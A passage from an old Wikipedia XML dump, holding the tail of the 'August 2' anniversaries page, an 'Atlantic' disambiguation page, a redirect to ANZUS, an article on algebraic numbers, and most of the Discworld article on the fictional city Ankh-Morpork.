*[[1955]] - [[Velcro]] is patented.
*[[1964]] - [[North Vietnam]] allegedly fires on a US destroyer in the [[Gulf of Tonkin Incident]].
*[[1967]] - The second [[Blackwall Tunnel]] opens in [[Greenwich, London]].
*[[1975]] - In [[New Orleans, Louisiana]], the [[Superdome]] officially opens with an [[American football|NFL football]] game between the [[New Orleans Saints]] and [[Houston Oilers]]. 
*[[1976]] - An intruder breaks into [[Priscilla Davis]]' mansion in [[Fort Worth, Texas]] and kills [[Andrea Wilborn]] and [[Stan Farr]].
*[[1979]] - New York Yankees catcher [[Thurman Munson]] dies in a plane crash.  An avid pilot, he was practicing takeoffs and landings in his new Cessna Citation jet.  The official cause of the crash was determined to be pilot error.
*[[1980]] - A [[Bologna Massacre|bomb explodes]] at the [[Bologna Central Station|railway station]] in [[Bologna]], [[Italy]], killing 85 people and wounding more than 200.
*[[1985]] - A [[Delta Air Lines]] [[Lockheed L-1011]] [[TriStar]] crashes at [[Dallas/Fort Worth International Airport]] in [[Texas]], killing 137.
*[[1990]] - [[Iraq]] invades [[Kuwait]], eventually leading to the [[Gulf War]].
*[[1994]] - Popular Japanese television and movie actor [[Beat Takeshi]] is seriously injured in a motorcycle accident.
*[[2004]] - [[Monday demonstrations, 2004|Monday demonstrations]] against social cutbacks began in [[Germany]]
*[[2005]] - [[Air France Flight 358]] skids off the runway at [[Toronto Pearson International Airport]] outside [[Toronto]], [[Canada]], destroying the plane but resulting in no loss of life.

==Births==
*[[1533]] - [[Theodor Zwinger]], Swiss scholar (d. [[1588]])
*[[1672]] - [[Johann Jakob Scheuchzer]], Swiss scholar (d. [[1733]])
*[[1674]] - [[Philip II, Duke of Orléans]], regent of France (d. [[1723]])
*[[1696]] - [[Mahmud I]], [[Ottoman Sultan]] (d. [[1754]])
*[[1703]] - [[Lorenzo Ricci]], Italian Jesuit leader (d. [[1775]])
*[[1754]] - [[Pierre Charles L'Enfant]], French-born architect and city planner (d. [[1825]])
*[[1788]] - [[Leopold Gmelin]], German chemist (d. [[1853]])
*[[1815]] - [[Adolf Friedrich von Schack]], German writer (d. [[1894]])
*[[1834]] - [[Frédéric Bartholdi]], French sculptor (d. [[1904]])
*[[1835]] - [[Elisha Gray]], American inventor and entrepreneur (d. [[1901]])
*[[1854]] - [[Milan I]], [[King of Serbia]] (d. [[1901]])
*[[1865]] - [[Irving Babbitt]], American literary critic (d. [[1933]])
*[[1868]] - King [[Constantine I of Greece]] (d. [[1923]])
*[[1871]] - [[John French Sloan]], American artist (d. [[1951]])
*[[1892]] - [[Jack Warner]], Canadian film producer (d. [[1978]])
*[[1897]] - [[Max Weber (politician)|Max Weber]], Swiss Federal Councilor (d. [[1974]])
*[[1900]] - [[Helen Morgan]], American actress (d. [[1941]])
*[[1905]] - [[Karl Amadeus Hartmann]], German composer (d. [[1963]])
*1905 - [[Myrna Loy]], American actress (d. [[1993]])
*[[1912]] - [[Vladimir Zerjavic]], Croatian statistician (d. [[2001]])
*[[1914]] - [[Beatrice Straight]], American actress (d. [[2001]])
*[[1915]] - [[Gary Merrill]], American actor (d. [[1990]])
*[[1924]] - [[James Baldwin (writer)|James Baldwin]], American author (d. [[1987]])
*  1924   - [[Carroll O'Connor]], American actor (d. [[2001]])
*[[1925]] - [[Jorge Rafael Videla]], Argentinian dictator
*  1925   - [[Alan Whicker]], British journalist and broadcaster (“Whicker’s World”)
*[[1930]] - [[Vali Myers (artist)]], (d. [[2003]])
*[[1932]] - [[Peter O'Toole]], Irish-born actor
*[[1934]] - [[Valery Bykovsky]], cosmonaut
*[[1935]] - [[Hank Cochran]], country music singer and songwriter
*[[1937]] - [[Garth Hudson]], Canadian musician ([[The Band]])
*[[1939]] - [[Wes Craven]], American film director
*[[1941]] - [[Doris Coley]], American singer ([[Shirelles]]) (d. [[2000]])
*[[1942]] - [[Isabel Allende]], Chilean author
*[[1945]] - [[Alex Jesaulenko]], [[Australian rules football|Australian Rules footballer]]
*[[1947]] - [[Massiel]], Spanish singer and [[Eurovision Song Contest]] winner
*[[1948]] - [[Dennis Prager]], American radio talk show host and author
*[[1950]] - [[Lance Ito]], American judge
*[[1951]] - [[Andrew Gold]], American singer, musician and songwriter
*[[1953]] - [[Butch Patrick]], American actor
*[[1954]] - [[Sammy McIlroy]], Northern Irish footballer and football manager
*[[1957]] - [[Mojo Nixon]], American musician and actor
*[[1959]] - [[Apollonia Kotero]], American singer and actress
*[[1961]] - [[Linda Fratianne]], American figure skater
*[[1964]] - [[Mary-Louise Parker]], American actress
*[[1969]] - [[Fernando Couto]], Portuguese footballer
*1969 - [[Richard Hallebeek]], Dutch guitarist
*[[1970]] - [[Tony Amonte]], American hockey player 
*1970 - [[Kevin Smith]], American actor, director, and screenwriter
*[[1971]] - [[Michael Hughes (footballer)|Michael Hughes]], Northern Irish footballer
*[[1972]] - [[Justyna Steczkowska]], Polish singer
*[[1974]] - [[Jeremy Castle]], American singer and songwriter
*[[1975]] - [[Xu Huaiwen]], Chinese-born badminton player
*[[1977]] - [[Edward Furlong]], American actor
*1977 - [[Dave Farrel]], American musician
*[[1982]] - [[Hélder Postiga]], Portuguese footballer
*[[1985]] - [[Jeff Healy]], Canadian musician
*[[1992]] - [[Hallie Kate Eisenberg]], American actress

==Deaths==
*[[686]] - [[Pope John V]]
*[[1100]] - King [[William II of England]]
*[[1222]] - Count [[Raymond VI of Toulouse]] (b. [[1156]])
*[[1511]] - [[Andrew Barton]], Scottish naval leader
*[[1589]] - King [[Henry III of France]] (b. [[1551]])
*[[1611]] - [[Kiyomasa Kato|Kato Kiyomasa]], Japanese warlord and samurai (b. [[1562]])
*[[1696]] - [[Robert Campbell of Glenlyon]], Scottish military commander at the Massacre of Glencoe (b. [[1630]])
*[[1769]] - [[Daniel Finch, 8th Earl of Winchilsea]], English politician (b. [[1689]])
*[[1776]] - [[Louis François I, Prince of Conti]], French military leader (b. [[1717]])
*[[1788]] - [[Thomas Gainsborough]], English artist (b. [[1727]])
*[[1815]] - [[Guillaume Marie Anne Brune]], French marshal (murdered) (b. [[1763]])
*[[1859]] - [[Horace Mann]], American educator and abolitionist (b. [[1796]])
*[[1876]] - [[Wild Bill Hickok|James Butler &quot;Wild Bill&quot; Hickok]], American gunfighter (b. [[1837]])
*[[1890]] - [[Louise-Victorine Ackermann]], French poet (b. [[1813]])
*[[1903]] - [[Edmond Nocard]], French veterinarian (b. [[1850]])
*[[1921]] - [[Enrico Caruso]], Italian tenor (b. [[1873]])
*[[1922]] - [[Alexander Graham Bell]], Scottish-born inventor (b. [[1847]])
*[[1923]] - [[Warren G. Harding]], 29th [[President of the United States]] (b. [[1865]])
*[[1934]] - [[Paul von Hindenburg]], German general and politician (b. [[1847]])
*[[1936]] - [[Louis Bleriot|Louis Blériot]], French aviation pioneer (b. [[1872]])
*[[1939]] - [[Harvey Spencer Lewis]], American Rosacrucian mystic (b. [[1883]])
*[[1945]] - [[Pietro Mascagni]], Italian composer (b. [[1863]])
*[[1976]] - [[Fritz Lang]], Austrian film director (b. [[1890]])
*[[1978]] - [[Carlos Chávez]], Mexican composer (b. [[1899]])
*[[1979]] - [[Thurman Munson]], baseball player (b. [[1947]])
*[[1986]] - [[Roy Cohn]], American politician (b. [[1927]])
*[[1988]] - [[Raymond Carver]], American writer (b. [[1938]])
*[[1990]] - [[Norman Mclean]], American writer (b. [[1902]])
*[[1997]] - [[William S. Burroughs]], American writer (b. [[1914]])
*[[1998]] - [[Shari Lewis]], American puppeteer (b. [[1933]])
*[[2003]] - [[Don Estelle]], British actor (b. [[1933]])
*2003 - [[Mike Levey]], American television personality (b. [[1948]])
*[[2004]] - [[Don Tosti]], musician (b. [[1923]])

==Holidays and observances==
*[[Costa Rica]] - [[Our Lady of the Angels]]
*[[Bulgaria]]/[[Republic of Macedonia]] - [[Ilinden]] (St. Ilya Day), a day of remembrance of the [[Ilinden Uprising]]
*Feast day of Ilya the Prophet in Russian [[Orthodox Church]]
*Feast day of St [[Peter Julian Eymard]] [[Roman Catholic Church]]
*Day of [[airborne forces]] in [[Russia]]

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/august/2 BBC: On This Day]
* [http://www.nytimes.com/learning/general/onthisday/20050802.html ''The New York Times'': On This Day]
* [http://www.historychannel.com/tdih/tdih.jsp?category=leadstory ''This Day In History'': History Channel]
----

[[August 1]] - [[August 3]] - [[July 2]] - [[September 2]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[ceb:Agosto 2]]
[[ilo:Agosto 2]]
[[nap:2 'e aùsto]]
[[pam:Agostu 2]]
[[war:Agosto 2]]

[[af:2 Augustus]]
[[ar:2 أغسطس]]
[[an:2 d'agosto]]
[[ast:2 d'agostu]]
[[bg:2 август]]
[[be:2 жніўня]]
[[bs:2. avgust]]
[[ca:2 d'agost]]
[[cv:Çурла, 2]]
[[co:2 d'aostu]]
[[cs:2. srpen]]
[[cy:2 Awst]]
[[da:2. august]]
[[de:2. August]]
[[et:2. august]]
[[el:2 Αυγούστου]]
[[es:2 de agosto]]
[[eo:2-a de aŭgusto]]
[[eu:Abuztuaren 2]]
[[fo:2. august]]
[[fr:2 août]]
[[fy:2 augustus]]
[[ga:2 Lúnasa]]
[[gl:2 de agosto]]
[[ko:8월 2일]]
[[hr:2. kolovoza]]
[[io:2 di agosto]]
[[id:2 Agustus]]
[[ia:2 de augusto]]
[[ie:2 august]]
[[is:2. ágúst]]
[[it:2 agosto]]
[[he:2 באוגוסט]]
[[jv:2 Agustus]]
[[ka:2 აგვისტო]]
[[csb:2 zélnika]]
[[ku:2'ê gelawêjê]]
[[la:2 Augusti]]
[[lt:Rugpjūčio 2]]
[[lb:2. August]]
[[li:2 augustus]]
[[hu:Augusztus 2]]
[[mk:2 август]]
[[ms:2 Ogos]]
[[nl:2 augustus]]
[[ja:8月2日]]
[[no:2. august]]
[[nn:2. august]]
[[oc:2 d'agost]]
[[pl:2 sierpnia]]
[[pt:2 de Agosto]]
[[ro:2 august]]
[[ru:2 августа]]
[[sco:2 August]]
[[sq:2 Gusht]]
[[scn:2 di austu]]
[[simple:August 2]]
[[sk:2. august]]
[[sl:2. avgust]]
[[sr:2. август]]
[[fi:2. elokuuta]]
[[sv:2 augusti]]
[[tl:Agosto 2]]
[[tt:2. August]]
[[te:ఆగష్టు 2]]
[[th:2 สิงหาคม]]
[[vi:2 tháng 8]]
[[tr:2 Ağustos]]
[[uk:2 серпня]]
[[ur:2 اگست]]
[[wa:2 d' awousse]]
[[zh:8月2日]]</text>
    </revision>
  </page>
  <page>
    <title>Atlantic (disambiguation)</title>
    <id>1155</id>
    <revision>
      <id>40351937</id>
      <timestamp>2006-02-20T00:20:04Z</timestamp>
      <contributor>
        <username>Botteville</username>
        <id>347079</id>
      </contributor>
      <comment>addition</comment>
      <text xml:space="preserve">'''Atlantic''' may mean:

*The [[Atlantic Ocean]], a major [[ocean]] in the world
* [[Atlantic Canada]], consisting of the four Canadian provinces on the Atlantic Ocean
* [[Atlantic, Iowa]]
* [[Atlantic, Pennsylvania]]
* [[Atlantic, Virginia]]
* [[Atlantic City, New Jersey]]
* [[Atlantic County, New Jersey]]
* [[Atlantic Beach, Florida]]
* [[Atlantic Beach, North Carolina]]
* [[Atlantic Beach, New York]]
* [[Atlantic Records]], a rock and R&amp;B music label
* [[RMS Atlantic]], a [[steamship]] that sank off [[Halifax, Nova Scotia|Halifax]] in [[1873]] killing 546 people.
*''[[The Atlantic Monthly]]'', a monthly magazine published in the United States
* Atlantic, a [[steam locomotive]] with a [[4-4-2 (locomotive)|4-4-2]] [[wheel arrangement]]
*The ''[[Atlantic (passenger train)]]'', a named passenger train operated by [[Canadian Pacific Railway]] and later [[VIA Rail]]
* The Atlantic Alliance, another name for [[NATO]].
* The [[Atlantic Revolutions]], included the [[American Revolution|American]] and [[French Revolution]]s
* The [[Atlantic (period)|Atlantic period]] of palaeoclimatology

{{disambig}}

[[de:Atlantic]]
[[fo:Atlantic]]
[[fr:Atlantic]]</text>
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    <title>Australia, New Zealand, United States security treaty</title>
    <id>1157</id>
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      <id>15899658</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
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      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[ANZUS]]
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  </page>
  <page>
    <title>Algebraic number</title>
    <id>1158</id>
    <revision>
      <id>40171455</id>
      <timestamp>2006-02-18T18:40:46Z</timestamp>
      <contributor>
        <username>MathMartin</username>
        <id>29707</id>
      </contributor>
      <minor />
      <comment>link</comment>
      <text xml:space="preserve">In [[mathematics]], an '''algebraic number''' relative to a [[field (mathematics)|field]] &lt;math&gt;F&lt;/math&gt; is any element &lt;math&gt;x&lt;/math&gt; of a given field &lt;math&gt;K&lt;/math&gt; containing &lt;math&gt;F&lt;/math&gt; such that &lt;math&gt;x&lt;/math&gt; is a solution of a [[polynomial]] [[equation]] of the form: ''a''&lt;sub&gt;''n''&lt;/sub&gt;''x''&lt;sup&gt;''n''&lt;/sup&gt; + ''a''&lt;sub&gt;''n''&amp;minus;1&lt;/sub&gt;''x''&lt;sup&gt;''n''&amp;minus;1&lt;/sup&gt; + ··· + ''a''&lt;sub&gt;1&lt;/sub&gt;''x'' + ''a''&lt;sub&gt;0&lt;/sub&gt; = 0
where ''n'' is a [[positive integer]] called the ''degree'' of the polynomial, every coefficient ''a''&lt;sub&gt;''i''&lt;/sub&gt; is an element of ''F'', and ''a''&lt;sub&gt;''n''&lt;/sub&gt; is nonzero. If the field ''F'' is the field '''Q''' of [[rational number]]s and ''K'' is an [[algebraically closed field]] then the algebraic numbers relative to '''Q''' are simply called '''algebraic numbers'''. The [[algebraically closed field]] in which these numbers lie can be the [[complex number]]s '''C''', but sometimes other fields are used. Any such [[algebraic closure]] is unique [[up to]] field [[isomorphism]], but may differ in topological properties. Considered purely as a field it is unique, and it is either this abstract field devoid of topology or the closure of the rationals in the complex numbers which is most often called the field of algebraic numbers.

All rationals are algebraic. A [[real number|real]] number that is not rational may or may not be algebraic; for example  [[irrational number]]s such as 2&lt;sup&gt;1/2&lt;/sup&gt; (the [[square root]] of 2) and 3&lt;sup&gt;1/3&lt;/sup&gt;/2 (half the [[cube root]] of 3) are also algebraic because they are the solutions of ''x''&lt;sup&gt;2&lt;/sup&gt;&amp;nbsp;&amp;minus;&amp;nbsp;2&amp;nbsp;=&amp;nbsp;0
and 8''x''&lt;sup&gt;3&lt;/sup&gt;&amp;nbsp;&amp;minus;&amp;nbsp;3&amp;nbsp;=&amp;nbsp;0, respectively. But most real numbers are not algebraic; examples of this are [[Pi|&amp;pi;]] and ''[[e (mathematical constant)|e]]''.
If a complex number is not an algebraic number then it is called a [[transcendental number]]. So, for instance ''i'', the [[imaginary unit]], is an algebraic number since it satisfies 
''x''&lt;sup&gt;2&lt;/sup&gt;&amp;nbsp;+&amp;nbsp;1&amp;nbsp;=&amp;nbsp;0; however &lt;math&gt;i^i&lt;/math&gt; is transcendental by the [[Gelfond-Schneider theorem]]; one branch of this number is e&lt;sup&gt;-&amp;pi;/2&lt;/sup&gt;, which shows that e&lt;sup&gt;&amp;pi;&lt;/sup&gt; is also transcendental.

If an algebraic number satisfies such an equation as given above with a [[polynomial]] of degree ''n'' and not such an equation with a lower degree, then the number is said to be an ''algebraic number of degree n''.

==The field of algebraic numbers== {{main|algebraic number field}}
The sum, difference, product and quotient of two algebraic numbers is again algebraic, and the algebraic numbers therefore form a [[field (mathematics)|field]]. It can be shown that, if we allow the coefficients &lt;math&gt;a_i&lt;/math&gt; to be any algebraic numbers, then every solution of the equation will again be an algebraic number. This can be rephrased by saying that the field of algebraic numbers is [[algebraically closed field|algebraically closed]]. In fact, it is the smallest algebraically closed field containing the rationals, and is therefore called the [[algebraic closure]] of the rationals.

==Numbers defined by radicals==
All numbers which can be obtained from the integers using a [[finite]] number of [[addition]]s, [[subtraction]]s, [[multiplication]]s, [[division (mathematics)|division]]s, and ''n''&lt;sup&gt;th&lt;/sup&gt; roots (where ''n'' is a positive integer) are algebraic. The converse, however, is not true: there are algebraic numbers which cannot be written in this manner. All of these numbers are solutions to polynomials of degree &amp;ge;&amp;nbsp;5, (see [[Quintic equation]]s and the [[Abel–Ruffini theorem]]). This is a result of [[Galois theory]]. An example of such a number would be the unique real root of ''x''&lt;sup&gt;5&lt;/sup&gt;&amp;nbsp;&amp;minus;&amp;nbsp;x&amp;nbsp;&amp;minus;&amp;nbsp;1&amp;nbsp;=&amp;nbsp;0.

==Algebraic integers== {{main|algebraic integer}}
An algebraic number which satisfies a [[polynomial equation]] of degree ''n'' with leading coefficient ''a''&lt;sub&gt;''n''&lt;/sub&gt;&amp;nbsp;=&amp;nbsp;1 (that is, a [[monic polynomial]]) and all other coefficients ''a''&lt;sub&gt;''i''&lt;/sub&gt; belonging to the set '''Z''' of [[integer]]s, is called an '''[[algebraic integer]]'''. Examples of algebraic integers are 3&amp;radic;{{overline|2}}&amp;nbsp;+&amp;nbsp;5 and 6''i''&amp;nbsp;-&amp;nbsp;2. 

The sum, difference and product of algebraic integers are again algebraic integers, which means that the algebraic integers form a [[ring (algebra)|ring]]. The name ''algebraic integer'' comes from the fact that the only rational numbers which are algebraic integers are the integers, and because the algebraic integers in any [[algebraic number field|number field]] are in many ways analogous to the integers. If ''K'' is a number field, its '''ring of integers''' is the subring of algebraic integers in ''K'', and is frequently denoted as ''O''&lt;sub&gt;K&lt;/sub&gt;.

==Special classes of algebraic number==
*[[Gaussian integer]]
*[[Eisenstein integer]]
*[[Quadratic irrational]]
*[[Fundamental unit]]
*[[Root of unity]]
*[[Gaussian period]]
*[[Pisot-Vijayaraghavan number]]
*[[Salem number]]

[[Category:Abstract algebra]]
[[Category:Algebra]]
[[Category:Algebraic numbers|*]]
[[Category:Number theory]]

[[cs:Algebraické číslo]]
[[da:Algebraiske tal]]
[[de:Algebraische Zahl]]
[[es:Número algebraico]]
[[fa:اعداد جبری]]
[[fr:Nombre algébrique]]
[[gl:Número alxebraico]]
[[he:מספר אלגברי]]
[[it:Numero algebrico]]
[[ja:代数的数]]
[[ko:대수적 수]]
[[nl:Algebraïsch getal]]
[[pl:Liczby algebraiczne]]
[[pt:Número algébrico]]
[[ru:Алгебраическое число]]
[[zh:代數數]]</text>
    </revision>
  </page>
  <page>
    <title>Ankh-Morpork</title>
    <id>1159</id>
    <revision>
      <id>41606822</id>
      <timestamp>2006-02-28T13:40:08Z</timestamp>
      <contributor>
        <username>Daibhid C</username>
        <id>47619</id>
      </contributor>
      <comment>/* Public holidays */</comment>
      <text xml:space="preserve">{| border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; align=&quot;right&quot; width=&quot;325&quot; style=&quot;margin-left:0.5em;&quot; 
|align=&quot;center&quot; colspan=&quot;2&quot; | '''Ankh-Morpork'''&lt;br /&gt;(Modern Morporkian)&lt;br /&gt;
'''Ankhius et Morporkia'''&lt;br /&gt; ([[Minor Discworld concepts#Latatian|Latatian]], the Old Language)&lt;br /&gt;
|-
|align=&quot;center&quot; colspan=&quot;2&quot; |
[[Image:Discworld-ankh-morpork-amoswolfe.png|300px|center|Coat of arms of Ankh-Morpork]]
[[Coat of arms]]: A shield, quartered by a river (the [[Ankh (river)|Ankh]]) and tower (the Tower of Art). The quarters bear two moneybags, a field of [[cabbage]]s and the unmarked black field of the [[Havelock Vetinari|Vetinaris]]. &lt;br /&gt; The shield is supported by two hippopotami and crested with a [[morepork|morpork]] holding an [[ankh]]. 
|-
|align=&quot;center&quot; colspan=&quot;2&quot; | [[motto]]s: ''Quanti canicula ille in fenestra''&lt;br /&gt; (Latatian: How much is that small dog in the window)&lt;br /&gt; 
''Merus in pectum et in aquam''&lt;br /&gt;(Latatian: Pure in heart and water)
|-
|Official [[language]] || Morporkian is [[de facto]]
|-
|Patrician || Lord [[Havelock Vetinari]]
|-
|[[Area]] || Approx 50 mile&amp;sup2; (130 km&amp;sup2; including surrounding fiefdom
|-
|[[Population]] || Approx. 1,000,000 (including surrounding fiefdom)
|-
|Establishment || Founded 2564 years before AM dating &lt;br /&gt; Modern city-state established 4th Grune 1688 AM
|-
|[[Currency]] || Ankh-Morpork Dollar
|-
|[[National anthem]] || ''[[We can rule you wholesale|We Can Rule You Wholesale]]''
|}
'''Ankh-Morpork''' is a [[fiction]]al [[city-state]] which features in [[Terry Pratchett]]'s ''[[Discworld]]'' series of fantasy novels. As cities go, it is on the far side of corrupt and polluted, and is subject to outbreaks of comedic violence and brou-ha-ha on a fairly regular basis. It is home to the [[Unseen University]], a centre of magical learning.

Ankh-Morpork is also the mercantile capital of the [[Discworld (world)|Discworld]], and the books give an excellent flavour of a &quot;working&quot; quasi-medieval city. Even when it is under attack from a [[European dragon|dragon]], the vegetable carts still have to come in.

In ''[[The Art of Discworld]]'' Pratchett explains that the city is similar to [[Tallinn]] and central [[Prague]], but adds that it has elements of 18th century [[London]], 19th century [[Seattle, Washington|Seattle]] and modern [[New York, New York|New York]].  He also states that since the creation of ''The Streets of Ankh-Morpork'', he has tried to ensure that the descriptions of character movements and locations in the books match the Ankh-Morpork map; this has allowed him, and fans of the series, to visualise the story more clearly. Ankh-Morpork is also referred to as &quot;The Big Oyster&quot;, or &quot;The Big Wahooni&quot; on occasions, further increasing the bond with &quot;The Big Apple&quot;, New York.

==Geography==
Ankh-Morpork lies on the River Ankh (the most polluted waterway on the Discworld), where the fertile loam of the [[Sto Plains]] (similar to [[Western Europe]]) meets the [[Circle Sea]] (the Discworld's version of the [[Mediterranean Sea|Mediterranean]]). This, naturally, puts it in an excellent trading position.

Lying approximately equidistant from the cold Hub and tropical Rim, Ankh-Morpork is in the Discworld's equivalent of the [[temperate]] zone.

The name &quot;Ankh-Morpork&quot; refers to both the city itself, a [[defensive wall|walled city]] about a mile (1.6 km) across, and the surrounding suburbs and farms of its [[fiefdom]].

The central city divides more or less into Ankh (the posh part) and Morpork (the humble part, which includes the slum area known as &quot;the Shades&quot;), which are separated by the River Ankh.

Ankh-Morpork is built on black loam, broadly, but mostly what it is built on is more Ankh-Morpork. Because of the nature of the Ankh-Morpork citizenry and the flooding of the River Ankh, they figured it was simply easier to build on top of the existing buildings when the sediment grew too high, rather than excavate them out. This has resulted in two things: Firstly, many people own basements and have no idea they do. Secondly, there is a &quot;cave network&quot; below Ankh-Morpork made up of old streets and abandoned sewers &amp;ndash; these &quot;unknown basements&quot; allow people to get around relatively unimpeded. The city's [[dwarf]] population have extended this into a complex network of tunnels, which has recently been made municipal property.

===The River Ankh===
Even before it enters Ankh-Morpork, the River Ankh is full of [[silt]] from the plains; by the time it gets to the seaward side of the city, &quot;even an [[agnostic]] could walk across it&quot;.

The citizens of the city are strangely proud of this fact, even going so far as to say that &quot;it is easier to suffocate than drown in the Ankh.&quot; They also claim it to be the purest water on the Disc, as &quot;Anything that's passed through so many kidneys has to be very pure indeed.&quot; Owing to the build-up of centuries, the bed of the river is higher than some parts of the city. When winter snows swell the flow, the low-rent areas of Morpork flood. In spring some parts catch fire, and others sprout small trees.

In the times when the city catches fire, the river gates are closed, and the river rises and smothers the flames.

In both ''[[Men At Arms]]'' and the computer game ''[[Discworld Noir]]'', the Ankh is described as &quot;the only river in the world on which you could draw a chalk outline&quot;.

==History==
According to legend, the first city of Ankh-Morpork was founded thousands of years ago by twin brothers who were raised by a [[hippopotamus]] (an allusion to the myth of [[Romulus and Remus]]). It is in memory of this that the hippo is the royal animal of Ankh. The original city was little more than a walled keep, surrounding the Tower of Art, a building of mysterious origin.

At one point it had an empire, similar to the [[Roman Empire]], that covered half the continent including the neighbouring country of [[Klatch]]. These were the days of the &quot;Pax Morporkia,&quot; another reference to Rome and their [[Pax Romana]].

The empire was largely the creation of General [[Minor Discworld characters#General Tacticus|Tacticus]] (an obvious pun or [[word play|play on word]]s), the greatest military mind in history. Tacticus refused to accept that the Empire was growing too big to control, and was finally shipped off to be king of [[Genua]]. As king he decided that the greatest threat to Genua was the Empire, and [[Declaration of war|declared war]] on it.

This was a [[Golden Age]], ruled by the Kings of Ankh, who are recalled in legend as wise, noble and fair. The line died out approximately 2000 years before the present, giving way to real kings who were realistically corrupt and peverse and ultimately leading to the collapse of the empire.  

Shortly before this, however, the mage [[Albert (Discworld)|Alberto Malich]] had founded Unseen University in the Tower of Art, and Ankh-Morpork continued as a service town for the wizards. 

Royalty became extremely debased and the later kings of Ankh-Morpork are recalled in history as power-mad and corrupt, or just mad; some are mentioned by name in ''[[Men at Arms]]'':

*Queen Alguinna IV
*King Artorollo (a contemporary of Alberto Malich)
*King Cirone IV
*Queen Coanna
*King Loyala the Aaargh (Had a 1.13 second rule from coronation to assassination) - ''[[The Discworld Companion]]''
*King Ludwig the Tree (Known to issue royal proclamations on the need to develop a new type of frog and similar important matters, and also responsible for the city motto &quot;Quanti Canicula Ille In Fenestra&quot;)- ''[[The Discworld Companion]]''
*King Paragore
*King Tyrril (ruled circa AM 907)
*King Veltrick III
*Webblethorpe the Unconscious

The last and worst - the euphemistically-remembered Lorenzo the Kind (the full extent of whose infamy is not revealed, save that he was said to be &quot;very fond of children&quot; and had in his dungeons &quot;machines for . . .&quot;) - was overthrown in the Ankh-Morpork Civil War of 1688 (dating from the founding of UU). The question of what to do with the deposed king (no judge would try him) was settled when he was executed by the then Commander of the City Watch, Suffer-Not-Injustice [[Samuel Vimes|Vimes]].  Known as &quot;Old Stoneface,&quot; his regicide resulted in his being banned from bearing arms (These events parallel the [[English Civil War]] of the [[1640s]], and the execution of [[Charles I of England|Charles I]] by [[Oliver Cromwell]]). Afterwards &quot;Old Stoneface&quot; (an ancestor of the current City Watch Commander [[Samuel Vimes]]) and his Ironheads ( a play on &quot;[[Roundheads]]&quot;) attempted to introduce [[democracy]], but the people voted against it. After &quot;Old Stoneface&quot; himself was overthrown, Ankh-Morpork reverted to a non-hereditary [[oligarchy|oligarchic]] system, where the leaders are still ruthless tyrants, but don't have the audacity to invoke divine right. It is, however, rumoured that the royal blood line continued and that the true king, Ironfoundersson, walks the streets of the city on a nightly basis. The  [[Havelock Vetinari|Patrician]] rules the city, and operates a specialised form of &quot;One Man, One Vote&quot; democracy: the Patrician is the Man, and he has the Vote.


Under the Patricians the city has become the mercantile and [[political capital]] of the Discworld, so much so that the Sto Plains operates under a new Pax Morporkia, which operates not on the principle of &quot;If you fight, we will kill you,&quot; but on the principle of &quot;If you fight, we will call in your mortgages.&quot;  The current Patrician has opened the city to [[dwarfs (Discworld)|dwarfs]], [[trolls (Discworld)|trolls]], [[gnomes (Discworld)|gnome]]s, humans from across the Disc and even the [[undead (Discworld)|undead]], making a truly [[multiculturalism|multicultural]] society, with both the advantages and problems that suggests. (The current Patrician's own, typically pragmatic, view on multiculturalism is &quot;[[Alloys]] are stronger.&quot;)

In recent years, the city has seen numerous changes. Most notable are: the rise of the [[semaphore (communication)|semaphore]] network (the &quot;[[clacks (Discworld)|clacks]]&quot;), the invention of the newspaper (with the help of the [[iconograph]]), and the revitalisation of the [[Ankh-Morpork City Watch|City Watch]] and the [[Ankh-Morpork Post Office]].

Civic symbols include Morporkia, a woman in a cabbage-spangled cloak and an old-fashioned helmet, carrying a shield with the civic [[heraldry|coat of arms]] and a toasting-fork symbolising &quot;something or other&quot; (compare [[Britannia]], [[Historical Columbia|Columbia]]).

==Politics==
The succession of the Patrician is normally either by assassination or revolution. It has been known for Patricians to resign, but it is very much the exception.

Power is to some degree shared with the many [[Guilds of Ankh-Morpork]] (including legalised [[Theft|Thieves]], [[Assassin|Assassins]] and &quot;[[prostitute|Seamstresses]]&quot;) and the surviving nobility. They form a sort of city council, but the Patrician has the only vote at meetings.

The current office-holder is Lord [[Havelock Vetinari]], a former [[Assassin]]. 

The nearest surviving relative of the former [[royal family]] seems to be Captain [[Carrot Ironfoundersson]], technically a dwarf. However, he has gone to some effort to keep this as quiet as possible. The origin of Corporal [[Nobby Nobbs]] remains shrouded in mystery. At one point he was identified as being a descendant of the Earl of Ankh (and therefore the next in line), but this was (probably) a deliberate deception.

A Patrician has almost absolute power over the affairs of the city and works together with the leaders of the city's [[Guilds of Ankh-Morpork|Guilds]], who are the ones who unofficially elect him in the first place. Eligible for election are members of rich and influential families. Unfortunately, almost all of the people who have held the post through the years proved once in office to be little different from a king, except that power did not pass automatically to their descendants. They were despotic, oppressive and fairly often mad.  Past Patricians have included:
*Mad Lord Snapcase (preceded Vetinari)
*Homicidal Lord Winder (preceded Snapcase)
*Deranged Lord Harmoni
*Laughing Lord Scapula
*Frenzied Earl Hargath 
*Nersh the Lunatic
*Giggling Lord Smince
*[[Olaf Quimby II]]

==Public holidays==
{| class=&quot;wikitable&quot;
|-
! Date         || Name
|-
| 1 Ick|| Hogswatch Day ([[New Year]], [[Christmas]])
|-
| [[28 April]] || The [[Terry Pratchett|Creator's]] birthday
|-
| [[1 May]]    || [[May Day]] (also called May Blossom Day)
|-
| [[25 May]]   || The Twenty-Fifth Of May (commemorates the last Ankh-Morpork revolution, but only if you participated)
|-
| 6 Grune      || Patrician's Day (in reality [[Stephen Briggs]]' birthday)
|-
| The first [[Tuesday]], [[Wednesday]] and [[Thursday]] after the last half moon in Sektober || Soul Cake Days
|-
| [[31 December]]       || Hogswatch Eve
|-
| [[32 December]]       || [[Minor Discworld concepts#Hogswatchnight|Hogswatchnight]]
|}

==External links==
* [http://www.lspace.org/ The L-Space Web], possibly the definitive Discworld web site
* [http://www.avidgamers.com/Otherside/ When Dragons Belch and Hippos Flee], an Ankh-Morpork roleplaying site, where you can be your favorite character.

==Real-World Connections==
